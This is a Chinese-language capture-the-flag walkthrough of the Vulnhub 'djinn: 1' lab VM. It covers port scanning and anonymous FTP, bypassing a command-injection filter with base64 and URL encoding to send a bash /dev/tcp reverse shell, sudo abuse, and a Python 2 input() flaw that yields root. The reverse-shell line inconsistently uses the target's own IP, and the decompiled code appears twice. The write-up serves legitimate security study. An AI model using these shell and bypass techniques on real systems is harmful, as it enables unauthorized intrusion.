Vulnhub 靶场 Dijnn WP
About djinn: 1
描述
- 难度级别:中等
- Flag:user.txt和root.txt
- 说明:该计算机是VirtualBox以及VMWare兼容的。DHCP将自动分配IP。您将在登录屏幕上看到该IP地址。您必须找到并读取分别在user.txt和root.txt中存在的两个Flag(user和root)
- 格式:虚拟机(Virtualbox-OVA)
- 操作系统:Linux
屏幕截图
下载地址
djinn.ova (Size: 1.9 GB)
- Download: https://drive.google.com/file/d/1LlT5JcdlyDUcvkn12t9oIIFo0X9Gt53B/view?usp=sharing
- Download (Mirror): https://download.vulnhub.com/djinn/djinn.ova
- Download (Torrent): https://download.vulnhub.com/djinn/djinn.ova.torrent ( Magnet)
信息收集
主机发现
首先我们可以确认的是kali攻击机和dijnn靶机处于同一网段,查看Kali的IP地址,经过查看,Kali的ip地址为192.168.59.134
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.59.134 netmask 255.255.255.0 broadcast 192.168.59.255
inet6 fe80::20c:29ff:feb8:ee3 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:b8:0e:e3 txqueuelen 1000 (Ethernet)
RX packets 20 bytes 1642 (1.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 28 bytes 2400 (2.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 396 (396.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 396 (396.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
接下来使用nmap扫描同网段下存活主机,发现除了kali本机之外,还有一台ip地址为192.168.59.135的存活主机,经过推断应该就是dijnn靶机。
nmap -sn 192.168.59.0/24
端口扫描
紧接着,我们使用nmap对dijnn靶机进行端口扫描,发现目标主机开放了21,22,1337,7331端口。
nmap -sV -p 0-65535 192.168.59.135
端口信息收集
首先我们访问21端口的ftp服务,发现可以直接进行匿名登录。根目录中有三个txt文本文件,依次打开查看。
creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
可以看到在game.txt中提示我们,1337端口上设置了一个游戏,打开浏览器查看发现链接被重置了,使用telnet访问试试看。发现这里告诉我们需要回答问题1000此才可以,那么这里需要写一个脚本,我们先把它放在一边,稍后查看。
通过端口扫描我们知道靶机上还开放了7331端口。并且运行了http服务,访问一下看看有什么收获。查看过后并没有发现什么有价值的信息。
目录扫描
接着,我们对运行http服务的7331端口进行目录扫描,看看能否发现隐藏的目录。
果不其然,通过目录扫描发现了“/wish”和“/genie”两个目录,依次访问一下。发现“/genie”目录报了403,没有访问权限;而“/wish“目录是一个类似命令执行的页面。
在输入框中输入“id",页面跳转到了“/genie”,并成功执行了命令。
漏洞利用
尝试利用
既然如此,我们直接向kali反弹一个shell不就可以了吗?在输入框中输入反弹shell的命令,并在kali端进行监听,发现命令并没有执行,并报出错误信息。推测应该是过滤了某些字符,使用burpsuite抓包看一下。
bash -i >& /dev/tcp/192.168.59.135/1234 0>&1
nc -lvvp 1234
抓包拦截后,发送到repeater模块进行bypass测试。发现这样一个问题:
cmd=whoami --> 可以执行
cmd=who/am/i --> 无法执行
这充分肯定了👴上面的说法,服务端过滤了某些字符。
但是经过多次尝试👴发现echo命令可以执行,既然这样的话就试试base64编码,看看能不能给小爷拦住。
漏洞利用
将反弹shell命令进行base64编码,然后尝试执行,发现还是没有监听到,考虑到可能是burpsuite的编码原因,将base64编码后的语句再次进行url编码,这次成功监听到了shell。
至此,我们成功的获取了目标主机的shell。获取shell之后要做的第一件事是使用Python获取一个tty终端,否则有些命令无法执行。
python -c 'import pty; pty.spawn("/bin/bash")'
尝试读取flag
读取/etc/passwd发现有sam和nitish两个用户,并且在/home/nitish下发现了user.txt,但是www-data没有权限读取;sam的用户目录也是没有权限查看的。接着回到/opt/80目录下,看一下这个目录下面的文件。
权限提升
在/opt/80目录下👴发现了一个app.py文件,查看一下文件内容发现了有意思的东西,这个txt是什么?打开看看。发现这里给出了nitish用户的密码。
直接su nitish登录这个账户,查看/home/nitich下的user.txt即可
获取root的flag
查看一下sudo的权限命令,发现有一个无需密码即可执行的命令
sudo -l
使用下面的语句查看一下genie的用法,注意:使用genie -h 可能无法查看全部的用法,发现-p和-cmd两个参数可以执行shell命令
man genie
之后我执行了下面的语句,但是并没有拿到sam的shell
sudo -u sam /usr/bin/genie -p "/bin/sh"
但是我使用-cmd参数,执行下面的命令后,成功获得了sam的shell
sudo -u sam /usr/bin/genie -cmd whoami
再次执行
sudo -l
查看sudo可以执行的命令,得到了下面的结果
但是执行这条语句之后没有得到有价值的信息,反而让我更加懵逼。。。接着使用下面的命令查找了一下可写的文件,发现了一个/home/sam/.pyc文件,就是进行加密后的python文件。
find / -writable -type f 2>/dev/null
然后将.pyc文件导出到kali中,进行在线反编译,网址:https://tool.lu/pyc/。反编译之后得到了如下代码:
#!/usr/bin/env python
# encoding: utf-8
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
仔细审计之后发现这里的input函数,可以确定是python2的版本。搜一下python input() vulnerability,看看input函数的漏洞。果然还是被👴发现了,参考文章:https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/
根据这个漏洞,可以把变量名当成变量的内容来解析,我们可以直接在Guess the number中输入“num“利用此漏洞即可。至此,我们获得了root权限。
然后在root目录下有一个proof.sh文件,查看一下文件内容那个,就是最终的flag!